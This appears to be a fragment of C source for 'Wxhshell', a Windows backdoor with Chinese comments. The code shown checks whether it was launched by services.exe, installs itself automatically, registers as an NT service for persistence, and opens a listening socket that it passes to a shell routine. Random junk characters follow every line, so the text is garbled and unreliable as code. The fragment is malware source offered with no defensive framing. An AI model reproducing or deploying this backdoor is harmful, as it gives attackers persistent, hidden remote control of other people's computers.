DWORD ExitStatus; 9O,,m~B
DWORD PebBaseAddress; Lb=W;9;
DWORD AffinityMask; >n.z)ZJ
DWORD BasePriority; m:Go-tk
ULONG UniqueProcessId; >x:EJV
ULONG InheritedFromUniqueProcessId; fvo<(c#Y#
} PROCESS_BASIC_INFORMATION; gd@p|PsS^
|`yZIY_
PROCNTQSIP NtQueryInformationProcess; +$z]w(lb T
t@bt6J .{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `BZ&~vJ_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |I[7,`C~
'3l$al:H^
HANDLE hProcess; $<?X7n^
PROCESS_BASIC_INFORMATION pbi; @=]8^?$t
0
KT*:F(4`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X}4}&
if(NULL == hInst ) return 0; nw'-`*'rj
CidM(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J_#R 87
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0_<Nc/(P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @u4=e4eF`
? S=W&
if (!NtQueryInformationProcess) return 0; Sj
3oV
i&+w _hD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >N`6;gn*l
if(!hProcess) return 0; W,hWOO
vrl[BPI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *ftC_v@p5
h!]"R<QQdu
CloseHandle(hProcess); X.|Ygx
v1[_}N9f>H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0^ !Gib
if(hProcess==NULL) return 0; hY\{|
p_terD:
HMODULE hMod; dXu {p
char procName[255]; CVKnTEs
unsigned long cbNeeded; E%k7wM {
U
:9=3A2$x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Aa(<L$e!`
7$T8&Mh
CloseHandle(hProcess); &&RA4
z)L}ECZh9
if(strstr(procName,"services")) return 1; // 以服务启动
~Nh&.a
U1m\\<,
return 0; // 注册表启动 ~5#)N{GbY
} ?s{C//
X}JWf<=q
// 主模块 9k2,3It
int StartWxhshell(LPSTR lpCmdLine) KXBL
eR&^
{ mb\t/p
SOCKET wsl; 'wQy]zm$
BOOL val=TRUE; JAb$M{t
int port=0; mA{#]Yvf1
struct sockaddr_in door; =&NOHT>
a>Re^GT+z
if(wscfg.ws_autoins) Install(); *=nO
2*[Un(
port=atoi(lpCmdLine); @5Qoi~o
a?<?5
if(port<=0) port=wscfg.ws_port; 6Dzs? P
LDX*<(
WSADATA data; Jh2Wr!5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C-#.RI7
?eWJa
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C6k4g75U2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?n*fy
door.sin_family = AF_INET; i!~>\r\6\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 lS($@@{
door.sin_port = htons(port); {rGYRn,
T^)plWw
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xem| o&
closesocket(wsl); i:Mc(mW
return 1; lBiovT
} ep?:;98|t
S %+R#A1
if(listen(wsl,2) == INVALID_SOCKET) { t"YIq/08
closesocket(wsl); d^aNR
Lv
return 1; Y+|PY?
~
} 0BC`iql5
Wxhshell(wsl); zzf7S%1I
WSACleanup(); swZpWC
5#u.pu
return 0; 3X'WR]
eY3=|RR
} i_Ar<9a~
?M"HXu
// 以NT服务方式启动 IQ{?_'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UX}*X`{
{ 3}4#I_<$F@
DWORD status = 0; @&:VKpu\
DWORD specificError = 0xfffffff; uX0
Bp8P
d^SE)/j
serviceStatus.dwServiceType = SERVICE_WIN32; Qp 69Sk@H{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Y\8+}g;KR
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SKxe3
serviceStatus.dwWin32ExitCode = 0; /+P5)q
TKL
serviceStatus.dwServiceSpecificExitCode = 0; hO;9Y|y
serviceStatus.dwCheckPoint = 0; `@\^m_!}
serviceStatus.dwWaitHint = 0; {,v:
GMsm
8nu> gA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @W)/\AZ3
if (hServiceStatusHandle==0) return; OX)BP.h#
"yri[X
status = GetLastError(); 2fBYT4*P;
if (status!=NO_ERROR) s"rg_FoL
{ ?z"YC&Tp
serviceStatus.dwCurrentState = SERVICE_STOPPED; _S<?t9mS
serviceStatus.dwCheckPoint = 0; '?k' 6R$'\
serviceStatus.dwWaitHint = 0; >Fh#DmQ
serviceStatus.dwWin32ExitCode = status; 8_awMVAy
serviceStatus.dwServiceSpecificExitCode = specificError; ~h|m&XK+Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |$Xf;N37t
return; 65"uD7;
} R\ q):,
{c?ymkK
serviceStatus.dwCurrentState = SERVICE_RUNNING; X8.y4{5
serviceStatus.dwCheckPoint = 0; d"l}Ny)C
serviceStatus.dwWaitHint = 0; y {;u@o?T
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KDaN-r^{%
} -#Jj-t_Fe
]c,l5u}A$
// 处理NT服务事件,比如:启动、停止 s<#N]mp'
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~._ko
{ D?J#u;h~f
switch(fdwControl) UGf6i"F
{ N4+g("
case SERVICE_CONTROL_STOP: L`pY27|
serviceStatus.dwWin32ExitCode = 0; M)tv;!eQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; L
B<UC?e
serviceStatus.dwCheckPoint = 0; }(cY|
serviceStatus.dwWaitHint = 0; .SBc5KX
{ "<T ~jk"u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \3:
L Nt
} Ir>2sTrm
return; jB/V{Y#y9@
case SERVICE_CONTROL_PAUSE: U~hCn+0
serviceStatus.dwCurrentState = SERVICE_PAUSED; ef,F[-2^o
break; YkVRl [
case SERVICE_CONTROL_CONTINUE: `_0)kdu
serviceStatus.dwCurrentState = SERVICE_RUNNING; l)%mqW%
break; T&!ZD2I
case SERVICE_CONTROL_INTERROGATE: M.t@@wq
break; z2ds8-z
}; pbFYiu+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-jw^
} " C&x,Ic
>07shNX
// 标准应用程序主函数 >waN;&>/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k5g@myb-
{ }oV3EIH
M-vC>u3Y
// 获取操作系统版本 bbO+%-(X
OsIsNt=GetOsVer(); dUZ$wbV%h
GetModuleFileName(NULL,ExeFile,MAX_PATH); <qr^Nyo4
,Z?m`cx
// 从命令行安装 #[Z<